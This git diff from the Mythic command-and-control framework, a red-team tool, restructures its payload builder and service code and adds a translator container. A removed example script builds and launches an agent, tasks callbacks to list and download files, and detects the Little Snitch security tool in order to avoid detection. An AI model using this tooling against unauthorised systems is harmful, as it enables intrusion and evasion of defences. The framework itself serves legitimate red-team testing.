- self.verifier_regex = verifier_regex if verifier_regex is not None else ""
- self.default_value = default_value
- if value is None:
- self.value = default_value
- else:
- self.value = value
- self.choices = choices
-
- @property
- def name(self):
- return self._name
-
- @name.setter
- def name(self, name):
- self._name = name
-
- @property
- def parameter_type(self):
- return self._parameter_type
-
- @parameter_type.setter
- def parameter_type(self, parameter_type):
- self._parameter_type = parameter_type
-
- @property
- def description(self):
- return self._description
-
- @description.setter
- def description(self, description):
- self._description = description
-
- @property
- def required(self):
- return self._required
-
- @required.setter
- def required(self, required):
- self._required = required
-
- @property
- def verifier_regex(self):
- return self._verifier_regex
-
- @verifier_regex.setter
- def verifier_regex(self, verifier_regex):
- self._verifier_regex = verifier_regex
-
- @property
- def default_value(self):
- return self._default_value
-
- @default_value.setter
- def default_value(self, default_value):
- self._default_value = default_value
-
- @property
- def value(self):
- return self._value
-
- @value.setter
- def value(self, value):
- if value is None:
- self._value = value
- else:
- if self.verifier_func is not None:
- self.verifier_func(value)
- self._value = value
- else:
- self._value = value
-
- def to_json(self):
- return {
- "name": self._name,
- "parameter_type": self._parameter_type.value,
- "description": self._description,
- "required": self._required,
- "verifier_regex": self._verifier_regex,
- "parameter": self._default_value
- if self._parameter_type == BuildParameterType.String
- else "\n".join(self.choices),
- }
-
-
-class C2ProfileParameters:
- def __init__(self, c2profile: dict, parameters: dict = None):
- self.parameters = {}
- self.c2profile = c2profile
- if parameters is not None:
- self.parameters = parameters
-
- def get_parameters_dict(self):
- return self.parameters
-
- def get_c2profile(self):
- return self.c2profile
-
-
-class CommandList:
- def __init__(self, commands: [str] = None):
- self.commands = []
- if commands is not None:
- self.commands = commands
-
- def get_commands(self) -> [str]:
- return self.commands
-
- def remove_command(self, command: str):
- self.commands.remove(command)
-
- def add_command(self, command: str):
- for c in self.commands:
- if c == command:
- return
- self.commands.append(command)
-
- def clear(self):
- self.commands = []
-
-
-class BuildResponse:
- def __init__(self, status: BuildStatus, payload: bytes = None, message: str = None):
- self.status = status
- self.payload = payload if payload is not None else b""
- self.message = message if message is not None else ""
-
- def get_status(self) -> BuildStatus:
- return self.status
-
- def set_status(self, status: BuildStatus):
- self.status = status
-
- def get_payload(self) -> bytes:
- return self.payload
-
- def set_payload(self, payload: bytes):
- self.payload = payload
-
- def set_message(self, message: str):
- self.message = message
-
- def get_message(self) -> str:
- return self.message
-
-
-class PayloadType:
-
- support_browser_scripts = []
-
- def __init__(
- self,
- uuid: str = None,
- agent_code_path: Path = None,
- c2info: [C2ProfileParameters] = None,
- commands: CommandList = None,
- wrapped_payload: str = None,
- ):
- self.commands = commands
- self.base_path = agent_code_path
- self.agent_code_path = agent_code_path / "agent_code"
- self.c2info = c2info
- self.uuid = uuid
- self.wrapped_payload = wrapped_payload
-
- @property
- @abstractmethod
- def name(self):
- pass
-
- @property
- @abstractmethod
- def file_extension(self):
- pass
-
- @property
- @abstractmethod
- def author(self):
- pass
-
- @property
- @abstractmethod
- def supported_os(self):
- pass
-
- @property
- @abstractmethod
- def wrapper(self):
- pass
-
- @property
- @abstractmethod
- def wrapped_payloads(self):
- pass
-
- @property
- @abstractmethod
- def note(self):
- pass
-
- @property
- @abstractmethod
- def supports_dynamic_loading(self):
- pass
-
- @property
- @abstractmethod
- def c2_profiles(self):
- pass
-
- @property
- @abstractmethod
- def build_parameters(self):
- pass
-
- @abstractmethod
- async def build(self) -> BuildResponse:
- pass
-
- def get_parameter(self, key):
- if key in self.build_parameters:
- return self.build_parameters[key].value
- else:
- return None
-
- async def set_and_validate_build_parameters(self, buildinfo: dict):
- # set values for all of the key-value pairs presented to us
- for key, bp in self.build_parameters.items():
- if key in buildinfo and buildinfo[key] is not None:
- bp.value = buildinfo[key]
- if bp.required and bp.value is None:
- raise ValueError(
- "{} is a required parameter but has no value".format(key)
- )
-
- def get_build_instance_values(self):
- values = {}
- for key, bp in self.build_parameters.items():
- if bp.value is not None:
- values[key] = bp.value
- return values
-
- def to_json(self):
- return {
- "ptype": self.name,
- "file_extension": self.file_extension,
- "author": self.author,
- "supported_os": ",".join([x.value for x in self.supported_os]),
- "wrapper": self.wrapper,
- "wrapped": self.wrapped_payloads,
- "supports_dynamic_loading": self.supports_dynamic_loading,
- "note": self.note,
- "build_parameters": [b.to_json() for k, b in self.build_parameters.items()],
- "c2_profiles": self.c2_profiles,
- "support_scripts": [
- a.to_json(self.base_path) for a in self.support_browser_scripts
- ],
- }
diff --git a/Example_Payload_Type/mythic/__init__.py b/Example_Payload_Type/mythic/__init__.py
deleted file mode 100644
index e69de29bb..000000000
diff --git a/Example_Payload_Type/mythic/agent_functions/builder.py b/Example_Payload_Type/mythic/agent_functions/builder.py
index 1b8f072df..77c8efd5b 100644
--- a/Example_Payload_Type/mythic/agent_functions/builder.py
+++ b/Example_Payload_Type/mythic/agent_functions/builder.py
@@ -1,4 +1,5 @@
-from PayloadBuilder import *
+from mythic_payloadtype_container.PayloadBuilder import *
+from mythic_payloadtype_container.MythicCommandBase import *
import asyncio
import os
from distutils.dir_util import copy_tree
diff --git a/Example_Payload_Type/mythic/agent_functions/loadassembly.py b/Example_Payload_Type/mythic/agent_functions/loadassembly.py
index 35bf4b84c..917139238 100644
--- a/Example_Payload_Type/mythic/agent_functions/loadassembly.py
+++ b/Example_Payload_Type/mythic/agent_functions/loadassembly.py
@@ -1,6 +1,7 @@
-from CommandBase import * # import the basics
+from mythic_payloadtype_container.MythicCommandBase import * # import the basics
import json # import any other code you might need
-from MythicFileRPC import * # import the code for interacting with Files on the Mythic server
+# import the code for interacting with Files on the Mythic server
+from mythic_payloadtype_container.MythicFileRPC import *
# create a class that extends TaskArguments class that will supply all the arguments needed for this command
class LoadAssemblyArguments(TaskArguments):
diff --git a/Example_Payload_Type/mythic/generate_docs_from_container.py b/Example_Payload_Type/mythic/generate_docs_from_container.py
deleted file mode 100644
index 625847cc1..000000000
--- a/Example_Payload_Type/mythic/generate_docs_from_container.py
+++ /dev/null
@@ -1,197 +0,0 @@
-#! /usr/env python3
-
-import sys
-import pathlib
-from importlib import import_module
-from CommandBase import *
-from PayloadBuilder import *
-
-
-def import_all_agent_functions():
- import glob
-
- # Get file paths of all modules.
- modules = glob.glob("agent_functions/*.py")
- for x in modules:
- if not x.endswith("__init__.py") and x[-3:] == ".py":
- module = import_module("agent_functions." + pathlib.Path(x).stem)
- for el in dir(module):
- if "__" not in el:
- globals()[el] = getattr(module, el)
-
-
-root = pathlib.Path(".")
-import_all_agent_functions()
-commands = []
-payload_type = {}
-for cls in PayloadType.__subclasses__():
- payload_type = cls(agent_code_path=root).to_json()
- break
-for cls in CommandBase.__subclasses__():
- commands.append(cls(root).to_json())
-payload_type["commands"] = commands
-
-# now generate the docs
-root_home = root / payload_type["ptype"]
-if not root_home.exists():
- root_home.mkdir()
-if not (root_home / "c2_profiles").exists():
- (root_home / "c2_profiles").mkdir()
-if not (root_home / "commands").exists():
- (root_home / "commands").mkdir()
-# now to generate files
-with open(root_home / "_index.md", "w") as f:
- f.write(
- f"""+++
-title = "{payload_type['ptype']}"
-chapter = false
-weight = 5
-+++
-
-## Summary
-
-Overview
-
-### Highlighted Agent Features
-list of info here
-
-## Authors
-list of authors
-
-### Special Thanks to These Contributors
-list of contributors
-"""
- )
-with open(root_home / "c2_profiles" / "_index.md", "w") as f:
- f.write(
- f"""+++
-title = "C2 Profiles"
-chapter = true
-weight = 25
-pre = "4. "
-+++
-
-# Supported C2 Profiles
-
-This section goes into any `{payload_type['ptype']}` specifics for the supported C2 profiles.
-"""
- )
-with open(root_home / "development.md", "w") as f:
- f.write(
- f"""+++
-title = "Development"
-chapter = false
-weight = 20
-pre = "3. "
-+++
-
-## Development Environment
-
-Info for ideal dev environment or requirements to set up environment here
-
-## Adding Commands
-
-Info for how to add commands
-- Where code for commands is located
-- Any classes to call out
-
-## Adding C2 Profiles
-
-Info for how to add c2 profiles
-- Where code for editing/adding c2 profiles is located
-"""
- )
-with open(root_home / "opsec.md", "w") as f:
- f.write(
- f"""+++
-title = "OPSEC"
-chapter = false
-weight = 10
-pre = "1. "
-+++
-
-## Considerations
-Info here
-
-### Post-Exploitation Jobs
-Info here
-
-### Remote Process Injection
-Info here
-
-### Process Execution
-Info here"""
- )
-with open(root_home / "commands" / "_index.md", "w") as f:
- f.write(
- f"""+++
-title = "Commands"
-chapter = true
-weight = 15
-pre = "2. "
-+++
-
-# {payload_type['ptype']} Command Reference
-These pages provide in-depth documentation and code samples for the `{payload_type['ptype']}` commands.
-"""
- )
-payload_type["commands"] = sorted(payload_type["commands"], key=lambda i: i["cmd"])
-for i in range(len(payload_type["commands"])):
- c = payload_type["commands"][i]
- cmd_file = c["cmd"] + ".md"
- with open(root_home / "commands" / cmd_file, "w") as f:
- f.write(
- f"""+++
-title = "{c['cmd']}"
-chapter = false
-weight = 100
-hidden = false
-+++
-
-## Summary
-
-{c['description']}
-- Needs Admin: {c['needs_admin']}
-- Version: {c['version']}
-- Author: {c['author']}
-
-### Arguments
-
-"""
- )
- for a in c["parameters"]:
- f.write(
- f"""#### {a['name']}
-
-- Description: {a['description']}
-- Required Value: {a['required']}
-- Default Value: {a['default_value']}
-
-"""
- )
- f.write(
- f"""## Usage
-
-```
-{c['help_cmd']}
-```
-
-"""
- )
- if len(c["attack"]) > 0:
- f.write(
- f"""## MITRE ATT&CK Mapping
-"""
- )
- for a in c["attack"]:
- f.write(
- f"""
-- {a['t_num']} """
- )
-
- f.write(
- f"""
-## Detailed Summary
-
-"""
- )
diff --git a/Example_Payload_Type/mythic/mythic_service.py b/Example_Payload_Type/mythic/mythic_service.py
index 8c4ee8460..461000565 100755
--- a/Example_Payload_Type/mythic/mythic_service.py
+++ b/Example_Payload_Type/mythic/mythic_service.py
@@ -1,308 +1,3 @@
#!/usr/bin/env python3
-import aio_pika
-import os
-import sys
-import traceback
-import base64
-import json
-import asyncio
-import socket
-from CommandBase import *
-from PayloadBuilder import *
-from pathlib import Path
-from importlib import import_module, invalidate_caches
-
-# set the global hostname variable
-hostname = ""
-output = ""
-exchange = None
-container_files_path = ""
-
-
-def import_all_agent_functions():
- import glob
-
- # Get file paths of all modules.
- modules = glob.glob("agent_functions/*.py")
- invalidate_caches()
- for x in modules:
- if not x.endswith("__init__.py") and x[-3:] == ".py":
- module = import_module("agent_functions." + Path(x).stem)
- for el in dir(module):
- if "__" not in el:
- globals()[el] = getattr(module, el)
-
-
-async def send_status(message="", command="", status="", username=""):
- global exchange
- # status is success or error
- try:
- message_body = aio_pika.Message(message.encode())
- # Sending the message
- await exchange.publish(
- message_body,
- routing_key="pt.status.{}.{}.{}.{}".format(
- hostname, command, status, username
- ),
- )
- except Exception as e:
- print("Exception in send_status: {}".format(str(e)))
-
-
-async def callback(message: aio_pika.IncomingMessage):
- global hostname
- global container_files_path
- with message.process():
- # messages of the form: pt.task.PAYLOAD_TYPE.command
- pieces = message.routing_key.split(".")
- command = pieces[3]
- username = pieces[4]
- if command == "create_payload_with_code":
- try:
- # pt.task.PAYLOAD_TYPE.create_payload_with_code.UUID
- message_json = json.loads(
- base64.b64decode(message.body).decode("utf-8"), strict=False
- )
- # go through all the data from rabbitmq to make the proper classes
- c2info_list = []
- for c2 in message_json["c2_profile_parameters"]:
- params = c2.pop("parameters", None)
- c2info_list.append(
- C2ProfileParameters(parameters=params, c2profile=c2)
- )
- commands = CommandList(message_json["commands"])
- for cls in PayloadType.__subclasses__():
- agent_builder = cls(
- uuid=message_json["uuid"],
- agent_code_path=Path(container_files_path),
- c2info=c2info_list,
- commands=commands,
- wrapped_payload=message_json["wrapped_payload"],
- )
- try:
- await agent_builder.set_and_validate_build_parameters(
- message_json["build_parameters"]
- )
- build_resp = await agent_builder.build()
- except Exception as b:
- resp_message = {
- "status": "error",
- "message": "Error in agent creation: "
- + str(traceback.format_exc()),
- "payload": "",
- }
- await send_status(
- json.dumps(resp_message),
- "create_payload_with_code",
- "{}".format(username),
- )
- return
- # we want to capture the build message as build_resp.get_message()
- # we also want to capture the final values the agent used for creating the payload, so collect them
- build_instances = agent_builder.get_build_instance_values()
- resp_message = {
- "status": build_resp.get_status().value,
- "message": build_resp.get_message(),
- "build_parameter_instances": build_instances,
- "payload": base64.b64encode(build_resp.get_payload()).decode(
- "utf-8"
- ),
- }
- await send_status(
- json.dumps(resp_message),
- "create_payload_with_code",
- "{}".format(username),
- )
-
- except Exception as e:
- resp_message = {
- "status": "error",
- "message": str(traceback.format_exc()),
- "payload": "",
- }
- await send_status(
- json.dumps(resp_message),
- "create_payload_with_code",
- "{}".format(username),
- )
- elif command == "command_transform":
- try:
- # pt.task.PAYLOAD_TYPE.command_transform.taskID
-
- message_json = json.loads(
- base64.b64decode(message.body).decode("utf-8"), strict=False
- )
- final_task = None
- for cls in CommandBase.__subclasses__():
- if getattr(cls, "cmd") == message_json["command"]:
- Command = cls(Path(container_files_path))
- task = MythicTask(
- message_json["task"],
- args=Command.argument_class(message_json["params"]),
- )
- await task.args.parse_arguments()
- await task.args.verify_required_args_have_values()
- final_task = await Command.create_tasking(task)
- await send_status(
- str(final_task),
- "command_transform",
- "{}.{}".format(final_task.status.value, pieces[4]),
- username,
- )
- break
- if final_task is None:
- await send_status(
- "Failed to find class where command_name = "
- + message_json["command"],
- "command_transform",
- "error.{}".format(pieces[4]),
- username,
- )
- except Exception as e:
- await send_status(
- "[-] Mythic error while creating/running create_tasking: \n"
- + str(e),
- "command_transform",
- "error.{}".format(pieces[4]),
- username,
- )
- return
- elif command == "sync_classes":
- try:
- commands = {}
- payload_type = {}
- import_all_agent_functions()
- for cls in PayloadType.__subclasses__():
- payload_type = cls(
- agent_code_path=Path(container_files_path)
- ).to_json()
- break
- for cls in CommandBase.__subclasses__():
- commands[cls.cmd] = cls(Path(container_files_path)).to_json()
- payload_type["commands"] = commands
- await send_status(
- json.dumps(payload_type), "sync_classes", "success", username
- )
- except Exception as e:
- await send_status(
- "Error while syncing info: " + str(traceback.format_exc()),
- "sync_classes",
- "error.{}".format(pieces[4]),
- username,
- )
- else:
- print("Unknown command: {}".format(command))
-
-
-async def sync_classes():
- try:
- commands = {}
- payload_type = {}
- import_all_agent_functions()
- for cls in PayloadType.__subclasses__():
- payload_type = cls(agent_code_path=Path(container_files_path)).to_json()
- break
- for cls in CommandBase.__subclasses__():
- commands[cls.cmd] = cls(Path(container_files_path)).to_json()
- payload_type["commands"] = commands
- await send_status(json.dumps(payload_type), "sync_classes", "success", "")
- except Exception as e:
- await send_status(
- "Error while syncing info: " + str(traceback.format_exc()),
- "sync_classes",
- "error",
- "",
- )
- sys.exit(1)
-
-
-async def heartbeat():
- config_file = open("rabbitmq_config.json", "rb")
- main_config = json.loads(config_file.read().decode("utf-8"))
- config_file.close()
- if main_config["name"] == "hostname":
- hostname = socket.gethostname()
- else:
- hostname = main_config["name"]
- while True:
- try:
- connection = await aio_pika.connect_robust(
- host=main_config["host"],
- login=main_config["username"],
- password=main_config["password"],
- virtualhost=main_config["virtual_host"],
- )
- channel = await connection.channel()
- # declare our heartbeat exchange that everybody will publish to, but only the mythic server will are about
- exchange = await channel.declare_exchange(
- "mythic_traffic", aio_pika.ExchangeType.TOPIC
- )
- except Exception as e:
- print(str(e))
- await asyncio.sleep(2)
- continue
- while True:
- try:
- # routing key is ignored for fanout, it'll go to anybody that's listening, which will only be the server
- await exchange.publish(
- aio_pika.Message("heartbeat".encode()),
- routing_key="pt.heartbeat.{}".format(hostname),
- )
- await asyncio.sleep(10)
- except Exception as e:
- print(str(e))
- # if we get an exception here, break out to the bigger loop and try to connect again
- break
-
-
-async def mythic_service():
- global hostname
- global exchange
- global container_files_path
- connection = None
- config_file = open("rabbitmq_config.json", "rb")
- main_config = json.loads(config_file.read().decode("utf-8"))
- config_file.close()
- if main_config["name"] == "hostname":
- hostname = socket.gethostname()
- else:
- hostname = main_config["name"]
- container_files_path = os.path.abspath(main_config["container_files_path"])
- if not os.path.exists(container_files_path):
- os.makedirs(container_files_path)
- while connection is None:
- try:
- connection = await aio_pika.connect_robust(
- host=main_config["host"],
- login=main_config["username"],
- password=main_config["password"],
- virtualhost=main_config["virtual_host"],
- )
- except Exception as e:
- await asyncio.sleep(1)
- try:
- channel = await connection.channel()
- # declare our exchange
- exchange = await channel.declare_exchange(
- "mythic_traffic", aio_pika.ExchangeType.TOPIC
- )
- # get a random queue that only the mythic server will use to listen on to catch all heartbeats
- queue = await channel.declare_queue("", exclusive=True)
- # bind the queue to the exchange so we can actually catch messages
- await queue.bind(
- exchange="mythic_traffic", routing_key="pt.task.{}.#".format(hostname)
- )
- # just want to handle one message at a time so we can clean up and be ready
- await channel.set_qos(prefetch_count=100)
- print(" [*] Waiting for messages in mythic_service.")
- task = queue.consume(callback)
- await sync_classes()
- result = await asyncio.wait_for(task, None)
- except Exception as e:
- print(str(e))
-
-
-# start our service
-loop = asyncio.get_event_loop()
-asyncio.gather(heartbeat(), mythic_service())
-loop.run_forever()
+from mythic_payloadtype_container import mythic_service
+mythic_service.start_service_and_heartbeat()
diff --git a/Example_Translator/Dockerfile b/Example_Translator/Dockerfile
new file mode 100644
index 000000000..b07730832
--- /dev/null
+++ b/Example_Translator/Dockerfile
@@ -0,0 +1 @@
+FROM itsafeaturemythic/python38_translator_container:0.0.3
\ No newline at end of file
diff --git a/C2_Profiles/HTTP/mythic/c2_functions/__init__.py b/Example_Translator/__init__.py
similarity index 100%
rename from C2_Profiles/HTTP/mythic/c2_functions/__init__.py
rename to Example_Translator/__init__.py
diff --git a/C2_Profiles/dynamicHTTP/c2_code/__init__.py b/Example_Translator/mythic/__init__.py
similarity index 100%
rename from C2_Profiles/dynamicHTTP/c2_code/__init__.py
rename to Example_Translator/mythic/__init__.py
diff --git a/Example_Translator/mythic/c2_functions/C2_RPC_functions.py b/Example_Translator/mythic/c2_functions/C2_RPC_functions.py
new file mode 100644
index 000000000..2f17749e4
--- /dev/null
+++ b/Example_Translator/mythic/c2_functions/C2_RPC_functions.py
@@ -0,0 +1,81 @@
+import json
+import base64
+import sys
+# translate_from_c2_format gets a message from Mythic that is in the c2-specific format
+# and returns a message that's translated into Mythic's JSON format
+# If the associated C2Profile has `mythic_encrypts` set to False, then this function should also decrypt
+# the message
+# request will be JSON with the following format:
+# { "action": "translate_from_c2_format",
+# "enc_key": None or base64 of key if Mythic knows of one,
+# "dec_key": None or base64 of key if Mythic knows of one,
+# "uuid": uuid of the message,
+# "profile": name of the c2 profile,
+# "mythic_encrypts": True or False if Mythic thinks Mythic does the encryption or not,
+# "type": None or a keyword for the type of encryption. currently only option besides None is "AES256"
+# "message": base64 of the message that's currently in c2 specific format
+# }
+# This should return the JSON of the message in Mythic format
+
+
+async def translate_from_c2_format(request) -> dict:
+ if not request["mythic_encrypts"]:
+ return json.loads(base64.b64decode(request["message"]).decode()[36:])
+ else:
+ return json.loads(base64.b64decode(request["message"]))
+
+
+# translate_to_c2_format gets a message from Mythic that is in Mythic's JSON format
+# and returns a message that's formatted into the c2-specific format
+# If the associated C2Profile has `mythic_encrypts` set to False, then this function should also encrypt
+# the message
+# request will be JSON with the following format:
+# { "action": "translate_to_c2_format",
+# "enc_key": None or base64 of key if Mythic knows of one,
+# "dec_key": None or base64 of key if Mythic knows of one,
+# "uuid": uuid of the message,
+# "profile": name of the c2 profile,
+# "mythic_encrypts": True or False if Mythic thinks Mythic does the encryption or not,
+# "type": None or a keyword for the type of encryption. currently only option besides None is "AES256"
+# "message": JSON of the mythic message
+# }
+# This should return the bytes of the message in c2 specific format
+
+async def translate_to_c2_format(request) -> bytes:
+ if not request["mythic_encrypts"]:
+ return base64.b64encode(request["uuid"].encode() + json.dumps(request["message"]).encode())
+ else:
+ return json.dumps(request["message"]).encode()
+
+
+# generate_keys gets a message from Mythic that is in Mythic's JSON format
+# and returns a a JSON message with encryption and decryption keys for the specified type
+# request will be JSON with the following format:
+# { "action": "generate_keys",
+# "message": JSON of the C2 parameter that has a crypt_type that's not None and not empty
+# }
+# example:
+# {"action":"generate_keys",
+# "message":{
+# "id":39,
+# "name":"AESPSK",
+# "default_value":"aes256_hmac\nnone",
+# "required":false,
+# "randomize":false,
+# "verifier_regex":"",
+# "parameter_type":"ChooseOne",
+# "description":"Crypto type",
+# "c2_profile":"http",
+# "value":"none",
+# "payload":"be8bd7fa-e095-4e69-87aa-a18ba73288cb",
+# "instance_name":null,
+# "operation":null,
+# "callback":null}}
+# This should return the dictionary of keys like:
+# {
+# "enc_key": "base64 of encryption key here",
+# "dec_key": "base64 of decryption key here",
+# }
+
+async def generate_keys(request) -> dict:
+ return {"enc_key": None, "dec_key": None}
\ No newline at end of file
diff --git a/C2_Profiles/dynamicHTTP/mythic/__init__.py b/Example_Translator/mythic/c2_functions/__init__.py
similarity index 100%
rename from C2_Profiles/dynamicHTTP/mythic/__init__.py
rename to Example_Translator/mythic/c2_functions/__init__.py
diff --git a/C2_Profiles/HTTP/mythic/c2_service.sh b/Example_Translator/mythic/c2_service.sh
similarity index 100%
rename from C2_Profiles/HTTP/mythic/c2_service.sh
rename to Example_Translator/mythic/c2_service.sh
diff --git a/Example_Translator/mythic/mythic_service.py b/Example_Translator/mythic/mythic_service.py
new file mode 100755
index 000000000..651840211
--- /dev/null
+++ b/Example_Translator/mythic/mythic_service.py
@@ -0,0 +1,3 @@
+#!/usr/bin/env python3
+from mythic_translator_container import mythic_service
+mythic_service.start_service_and_heartbeat(debug=True)
diff --git a/C2_Profiles/HTTP/mythic/rabbitmq_config.json b/Example_Translator/mythic/rabbitmq_config.json
similarity index 100%
rename from C2_Profiles/HTTP/mythic/rabbitmq_config.json
rename to Example_Translator/mythic/rabbitmq_config.json
diff --git a/LICENSE b/LICENSE
index 6f6bb589a..85d09ef9e 100755
--- a/LICENSE
+++ b/LICENSE
@@ -51,3 +51,26 @@ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+
+
+## Wait For It - https://github.com/vishnubob/wait-for-it
+The MIT License (MIT)
+Copyright (c) 2016 Giles Hall
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal in
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Software, and to permit persons to whom the Software is furnished to do
+so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/Mythic_CLI/example.py b/Mythic_CLI/example.py
deleted file mode 100644
index 238bb3a05..000000000
--- a/Mythic_CLI/example.py
+++ /dev/null
@@ -1,135 +0,0 @@
-from mythic import *
-from sys import exit
-from os import system
-
-
-async def scripting():
- # sample login
- mythic = Mythic(
- username="mythic_admin",
- password="mythic_password",
- server_ip="192.168.205.151",
- server_port="7443",
- ssl=True,
- global_timeout=-1,
- )
- print("[+] Logging into Mythic")
- await mythic.login()
- await mythic.set_or_create_apitoken()
-
- p = Payload(
- payload_type="apfell",
- c2_profiles={
- "HTTP":[
- {"name": "callback_host", "value": "http://192.168.205.151"},
- {"name": "callback_interval", "value": 4}
- ]
- },
- tag="test build",
- filename="scripted_apfell.js")
- print("[+] Creating new apfell payload")
- resp = await mythic.create_payload(p, all_commands=True, wait_for_build=True)
- print("[*] Downloading apfell payload")
- payload_contents = await mythic.download_payload(resp.response)
- print("[*] waiting for new callbacks...")
- await mythic.listen_for_new_callbacks(analyze_callback)
- print("[*] waiting for new files...")
- await mythic.listen_for_new_files(analyze_file_upload_download)
- with open("scripted_apfell.js", 'wb') as f:
- f.write(payload_contents)
- system("osascript scripted_apfell.js &")
- print("[+] started jxa agent locally")
-
- new_op = await mythic.create_operation(Operation(name="test", admin=Operator(username="mythic_admin")))
- await json_print(new_op)
-
-async def analyze_callback(mythic, callback):
- try:
- task = Task(
- callback=callback, command="ls", params="."
- )
- print("[+] got new callback, issuing ls")
- submit = await mythic.create_task(task, return_on="completed")
- print("[*] waiting for ls results...")
- results = await mythic.gather_task_responses(submit.response.id, timeout=20)
- folder = json.loads(results[0].response)
- print("[*] going through results looking for interesting files...")
- for f in folder["files"]:
- if f["name"] == "apfellserver":
- task = Task(
- callback=callback, command="download", params="apfellserver"
- )
- print("[+] found an interesting file, tasking it for download")
- await mythic.create_task(task, return_on="submitted")
- task = Task(
- callback=callback, command="list_apps"
- )
- print("[+] tasking callback to list running applications")
- list_apps_submit = await mythic.create_task(task, return_on="submitted")
- print("[*] waiting for list_apps results...")
- results = await mythic.gather_task_responses(list_apps_submit.response.id)
- apps = json.loads(results[0].response)
- print("[*] going through results looking for dangerous processes...")
- for a in apps:
- if "Little Snitch Agent" in a["name"]:
- list_apps_submit.response.comment = "Auto processed, created alert on Little Snitch Agent, updating block lists"
- await mythic.set_comment_on_task(list_apps_submit.response)
- print("[+] found a dangerous process! Little Snitch Agent - sending alert to operators")
- await mythic.create_event_message(message=EventMessage(message="LITTLE SNITCH DETECTED on {}".format(callback.host), level='warning'))
- resp = await mythic.get_all_disabled_commands_profiles()
- print("[+] Getting/creating disabled command profile to prevent bad-opsec commands based on dangerous processes")
- snitchy_block_list_exists = False
- for cur_dcp in resp.response:
- if cur_dcp.name == "snitchy block list":
- snitchy_block_list_exists = True
- dcp = cur_dcp
- if not snitchy_block_list_exists:
- dcp = DisabledCommandsProfile(name="snitchy block list", payload_types=[
- PayloadType(ptype="apfell", commands=["shell", "shell_elevated"]),
- PayloadType(ptype="poseidon", commands=["shell"])
- ])
- resp = await mythic.create_disabled_commands_profile(dcp)
- current_operation = (await mythic.get_current_operation_info()).response
- for member in current_operation.members:
- print("[*] updating block list for {}".format(member.username))
- resp = await mythic.update_disabled_commands_profile_for_operator(profile=dcp, operator=member, operation=current_operation)
-
- except Exception as e:
- print(str(e))
-
-async def analyze_file_upload_download(mythic, file):
- try:
- if file.total_chunks == file.chunks_received:
- if file.is_download_from_agent:
- print("[+] Notified of finished file download, pulling from server for offline analysis...")
- contents = await mythic.download_file(file)
- with open("downloaded_file", "wb") as f:
- f.write(contents)
- else:
- print("this is an upload")
-
- else:
- print(f"[*] Don't have full file yet: {file.chunks_received} of {file.total_chunks} so far")
- except Exception as e:
- print(e)
-
-async def main():
- await scripting()
- try:
- while True:
- pending = asyncio.Task.all_tasks()
- plist = []
- for p in pending:
- if p._coro.__name__ != "main" and p._state == "PENDING":
- plist.append(p)
- if len(plist) == 0:
- exit(0)
- else:
- await asyncio.gather(*plist)
- except KeyboardInterrupt:
- pending = asyncio.Task.all_tasks()
- for t in pending:
- t.cancel()
-
-loop = asyncio.get_event_loop()
-loop.run_until_complete(main())
diff --git a/Mythic_CLI/mythic.py b/Mythic_CLI/mythic.py
deleted file mode 100644
index 994519265..000000000
--- a/Mythic_CLI/mythic.py
+++ /dev/null
@@ -1,5009 +0,0 @@
-import aiohttp
-import asyncio
-import json
-import sys
-from typing import Dict, List, Union
-from time import time
-import base64
-
-
-async def json_print(thing):
- print(json.dumps(thing, indent=2, default=lambda o: o.to_json()))
-
-
-async def obj_to_json(thing):
- return json.loads(json.dumps(thing, default=lambda o: o.to_json()))
-
-
-class APIToken:
- def __init__(
- self,
- token_type: str = None,
- token_value: str = None,
- creation_time: str = None,
- active: bool = None,
- id: int = None,
- operator: Union["Operator", str] = None,
- ):
- self._token_type = token_type
- self._token_value = token_value
- self._creation_time = creation_time
- self._active = active
- self._id = id
- if isinstance(operator, Operator) or operator is None:
- self._operator = operator
- else:
- self._operator = Operator(username=operator)
-
- def to_json(self):
- r = {}
- for k in vars(self):
- if getattr(self, k) is not None:
- try:
- r[k[1:]] = getattr(self, k)
- except:
- r[k[1:]] = json.dumps(
- getattr(self, k), default=lambda o: o.to_json()
- )
- return r
-
- def __str__(self):
- return json.dumps(self.to_json())
-
- def __eq__(self, other):
- """Overrides the default implementation"""
- if isinstance(other, APIToken):
- return self._token_value == other.token_value
- return False
-
- @property
- def token_type(self) -> str:
- return self._token_type
-
- @token_type.setter
- def token_type(self, token_type):
- self._token_type = token_type
-
- @property
- def token_value(self) -> str:
- return self._token_value
-
- @token_value.setter
- def token_value(self, token_value):
- self._token_value = token_value
-
- @property
- def creation_time(self) -> str:
- return self._creation_time
-
- @creation_time.setter
- def creation_time(self, creation_time):
- self._creation_time = creation_time
-
- @property
- def active(self) -> bool:
- return self._active
-
- @active.setter
- def active(self, active):
- self._active = active
-
- @property
- def id(self) -> int:
- return self._id
-
- @id.setter
- def id(self, id):
- self._id = id
-
- @property
- def operator(self) -> "Operator":
- return self._operator
-
- @operator.setter
- def operator(self, operator):
- if isinstance(operator, Operator) or operator is None:
- self._operator = operator
- else:
- self._operator = Operator(username=operator)
-
-
-class Operation:
- def __init__(
- self,
- name: str = None,
- admin: Union["Operator", str] = None,
- complete: bool = None,
- AESPSK: str = None,
- webhook: str = None,
- id: int = None,
- members: List[Union["Operator", Dict[str, str], str]] = None,
- ):
- self._name = name
- if isinstance(admin, Operator) or admin is None:
